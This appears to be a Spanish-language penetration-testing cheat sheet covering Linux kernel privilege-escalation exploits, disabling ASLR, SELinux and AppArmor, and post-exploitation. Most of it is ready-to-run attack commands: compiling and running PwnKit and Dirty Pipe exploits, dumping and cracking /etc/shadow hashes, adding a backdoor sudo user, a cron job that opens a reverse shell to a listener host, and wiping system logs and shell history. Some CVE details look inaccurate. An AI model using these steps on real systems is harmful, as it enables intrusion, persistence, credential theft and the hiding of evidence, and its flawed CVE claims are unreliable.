Exploits de Kernel, Protecciones del Sistema y Post-Explotación
Búsqueda de Vulnerabilidades del Kernel
Identificar Versión del Kernel
uname -r
cat /etc/os-release
lsb_release -a
# Ejemplo: 5.10.0-8-amd64 (Debian)
# Ejemplo: 4.15.0-112-generic (Ubuntu)
# Ejemplo: 5.4.0-42-generic (Ubuntu 20.04)Buscar Exploits (en Kali)
searchsploit "Linux Kernel" 5.10
searchsploit "Ubuntu" 20.04 "privilege escalation"
searchsploit "CVE-2021-4034"
searchsploit -m 50123 # Descargar exploit
# También:
google: "Ubuntu 20.04 kernel exploit 2021"
exploit-db.com
packetstormsecurity.comValidar Applicabilidad
# Archivo: check_kernel.sh
#!/bin/bash
echo "[*] Kernel: $(uname -r)"
echo "[*] OS: $(cat /etc/os-release | grep PRETTY)"
gcc --version
uname -mKernel Exploits Comunes
CVE-2021-4034 - PwnKit (CRÍTICO)
Afectados: Linux Kernel hasta 5.16.11
¿Qué hace? Escalada local de privilegios a través de pkexec.
Descargas:
- GitHub: https://github.com/berdav/CVE-2021-4034
- Exploit-DB: https://www.exploit-db.com/exploits/50689
Explotar:
# Descargar exploit
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
# Compilar
make
# Ejecutar
./cve-2021-4034
# Resultado: bash como rootCVE-2021-22555 - Netfilter (High)
Afectados: Linux 4.15 - 5.6.x
Kernel vulnerable:
uname -r | grep "4.15\|4.16\|4.17\|4.18\|5.0\|5.1\|5.2\|5.3\|5.4\|5.5\|5.6"Explotar:
searchsploit CVE-2021-22555
searchsploit -m linux/kernel_exploits/51996.c
gcc -o exploit 51996.c
./exploitCVE-2022-0847 - Dirty Pipe
Afectados: Linux 5.8 - 5.16.11
¿Qué hace? Sobrescribir datos en archivos a través de pipe.
Descargas:
- GitHub: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
- Exploit-DB: https://www.exploit-db.com/exploits/50850
Usar:
# Descargar
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
# Compilar y ejecutar
gcc -o exploit exploit.c
./exploitCVE-2022-34918 - netfilter (High)
Afectados: Linux 5.17 - 5.18
searchsploit CVE-2022-34918CVE-2021-3439 - EBPF (High)
Afectados: Linux < 5.11
# Compilar eBPF exploit
clang -O2 -target bpf -c exploit.c -o exploit.o
llc -march=bpf -filetype=obj -o exploit.o exploit.cCVE-2017-5754 - Meltdown
Afectados: Intel processors
# Verificar vulnerabilidad
cat /proc/cpuinfo | grep "bugs"
# Si tiene "meltdown", kernel vulnerableCVE-2017-5715 - Spectre
Afectados: Intel y AMD processors
# Verificar
cat /proc/cpuinfo | grep "bugs"CVE-2022-0492 - cgroup v1
Afectados: Linux < 5.16
# Compilar exploit
gcc -O2 -o exploit exploit.c
./exploitCompilar Exploits del Kernel
Requisitos
gcc --version
make --versionCompilación Básica
# Simpl exploit .c
gcc -o exploit exploit.c
# Con librerías específicas
gcc -o exploit exploit.c -lpthread
# 64-bit
gcc -m64 -o exploit exploit.c
# 32-bit (si necesitas)
gcc -m32 -o exploit exploit.c
# Compilar desde Kali para objetivo diferente
x86_64-w64-mingw32-gcc exploit.c # Para Windows
arm-linux-gnueabihf-gcc exploit.c # Para ARMTransferir Exploit
# Desde Kali a Objetivo
scp exploit usuario@objetivo:/tmp/
# O con Python HTTP
python3 -m http.server 8000
# En objetivo:
wget http://kali:8000/exploit
curl -O http://kali:8000/exploitEjecutar Exploit
chmod +x exploit
./exploit
# Si necesita compilación durante ejecución:
./exploit
# Esperar (puede tardar)
# Verificar ejecución
id
whoamiProtecciones del Sistema
ASLR (Address Space Layout Randomization)
¿Qué hace? Aleatoriza direcciones de memoria para dificultar exploits.
Verificar:
cat /proc/sys/kernel/randomize_va_space
# 0 = Deshabilitado (vulnerable)
# 1 = Parcialmente habilitado
# 2 = Totalmente habilitado (máximo)Deshabilitar (como root):
echo 0 > /proc/sys/kernel/randomize_va_space
# Permanente - agregar a /etc/sysctl.conf:
echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf
sysctl -pSELinux (Security-Enhanced Linux)
¿Qué hace? Control de acceso obligatorio (MAC) en Red Hat/CentOS.
Verificar Estado:
getenforce
sestatus
# Salida:
# Enforcing = Habilitado y activo
# Permissive = Habilitado pero sin bloquear
# Disabled = DeshabilitadoDeshabilitar (como root):
setenforce 0
# Permanente - editar /etc/selinux/config:
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
# Requiere reboot para efecto completoAppArmor
¿Qué hace? Control de acceso obligatorio (MAC) en Debian/Ubuntu.
Verificar Estado:
aa-status
systemctl status apparmor
# Ver perfiles
cat /etc/apparmor.d/*Deshabilitar (como root):
systemctl disable apparmor
systemctl stop apparmor
# O remover paquete:
sudo apt remove apparmor
# Permanente - editar /etc/default/grub:
GRUB_CMDLINE_LINUX="apparmor=0"
sudo update-grubSeccomp (Secure Computing)
¿Qué hace? Restringe syscalls disponibles para procesos.
Verificar:
grep -i seccomp /proc/self/status
# Si aparece: Seccomp = 1, está en modo filterGrsecurity / PaX
¿Qué hace? Protecciones kernel adicionales.
Verificar:
uname -r | grep "grsec\|pax"
cat /proc/cmdline | grep "grsec\|pax"Control Flow Guard (CFG)
¿Qué hace? Protege contra modificación del flujo de programas.
Verificar en binarios:
checksec exploit
checksec /bin/bash
# Ver protecciones:
# RELRO: Partial/Full
# Stack: Canary found/Not found
# NX: NX enabled/disabled
# PIE: PIE enabled/disabledPost-Explotación
Verificar Acceso como Root
whoami
id
sudo -l
# Ver si puedes leer /etc/shadow
cat /etc/shadowExtraer Hashes
# Combinar passwd y shadow
unshadow /etc/passwd /etc/shadow > hashes.txt
# Crackear hashes (en Kali)
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 1800 hashes.txt rockyou.txtCrear Usuario Backdoor
# Como root
useradd -m -p $(openssl passwd -1 Password123!) backdoor
usermod -aG sudo backdoor
# Verificar
id backdoor
sudo -l -U backdoorAgregar Clave SSH Pública
# Como root
mkdir -p /root/.ssh
echo "tu_clave_publica" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Desde Kali
ssh -i id_rsa root@objetivoPersistencia - Cron Job
# Como root
crontab -e
# Agregar:
* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# Listener en Kali:
nc -lvp 4444Persistencia - SSH Backdoor
# Modificar /etc/ssh/sshd_config
echo "Port 2222" >> /etc/ssh/sshd_config
systemctl restart ssh
# Conectar por puerto alternativo
ssh -p 2222 root@objetivoLimpiar Logs
# Ver logs del sistema
cat /var/log/auth.log | grep usuario
# Limpiar
> /var/log/auth.log
> /var/log/syslog
> /var/log/secure
> /var/log/access.log
# Limpiar historial bash
history -c
> ~/.bash_history
# Limpiar logs de comando ejecutados
unset HISTFILE
export HISTFILE=/dev/nullMonitoreo de Actividad
# Ver conexiones activas
ss -antp
netstat -antp
# Ver procesos específicos
pgrep -a ssh
pgrep -a nc
# Logs en tiempo real
tail -f /var/log/auth.log
journalctl -u ssh -fHerramientas de Automatización
LinPEAS (reconocido)
# Descargar
wget https://github.com/carlospolop/PEASS-ng/releases/download/20240804/linpeas.sh
# Ejecutar
./linpeas.sh
# Con salida a archivo
./linpeas.sh > output.txt 2>&1Privilege Escalation – Linux
# Otros scripts
./enum4linux.sh
./unix-privesc-check.sh
./kernelcheck.shChecklist de Escalada de Privilegios
Enumeración inicial ✓
- whoami, id, sudo -l
- uname -a, cat /etc/os-release
Búsqueda de credenciales ✓
- history, .bash_history
- /etc/shadow (si accesible)
- Archivos de config con passwords
SUID/SGID ✓
- find / -perm -4000 / -6000
- GTFOBins exploitation
Sudo Rights ✓
- sudo -l
- Comandos permitidos sin password
Grupos Privilegiados ✓
- id | grep docker/lxd/sudo/wheel
- Group-based escalation
CRON/PATH ✓
- crontab -l, /etc/crontab
- echo $PATH, PATH injection
Servicios Vulnerables ✓
- ps aux, systemctl list-units
- Servicios ejecutados como root
Kernel Exploits ✓
- uname -r, searchsploit
- Compilar y ejecutar exploit
Post-Explotación ✓
- Crear usuario backdoor
- SSH keys, persistencia
- Limpiar logs